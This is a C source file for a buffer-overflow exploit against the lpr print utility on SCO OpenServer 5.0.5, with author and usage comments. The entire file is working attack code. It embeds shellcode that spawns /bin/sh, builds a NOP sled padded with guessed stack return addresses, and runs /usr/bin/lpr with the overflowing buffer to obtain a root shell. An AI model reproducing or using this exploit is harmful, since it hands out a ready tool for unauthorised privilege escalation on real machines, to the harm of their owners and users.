/*
 * sco_lpr.c - overflows /usr/remote/lpd/lp and gives rootshell
 * Tested on SCO 5.0.5+Skunkware98
 *
 *  Compile gcc -o sco_lpr sco_lpr.c
 *   sco_lpr <offset> <bufsiz>
 *
 *   -Brock Tellier btellier@webley.com
 */


#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* doble@iname.com */
  "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
  "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
  "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";


#define LEN 3000
#define NOP 0x90

unsigned long get_sp(void) {
  __asm__("movl %esp, %eax");
}


int main(int argc, char *argv[]) {
  long int offset=0;

  int i;
  int buflen = LEN;
  long int addr;
  char buf[LEN];

  if(argc > 3) {
    fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
    exit(0);
  }
  else if (argc == 2){
    offset=atoi(argv[1]);
  }
  else if (argc == 3) {
    buflen=atoi(argv[2]);
  }
  else {
    offset=1800;
    buflen=1500;
  }

  addr=get_sp();
  fprintf(stderr, "SCO 5.0.5 lpr exploit\n");
  fprintf(stderr, "Brock Tellier btellier@webley.com\n");
  fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

  memset(buf,NOP,buflen);
  memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
  for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)
    *(int *)&buf[i]=addr+offset;

  execl("/usr/bin/lpr", "lpr", "-o", buf,  NULL);
  exit(0);
}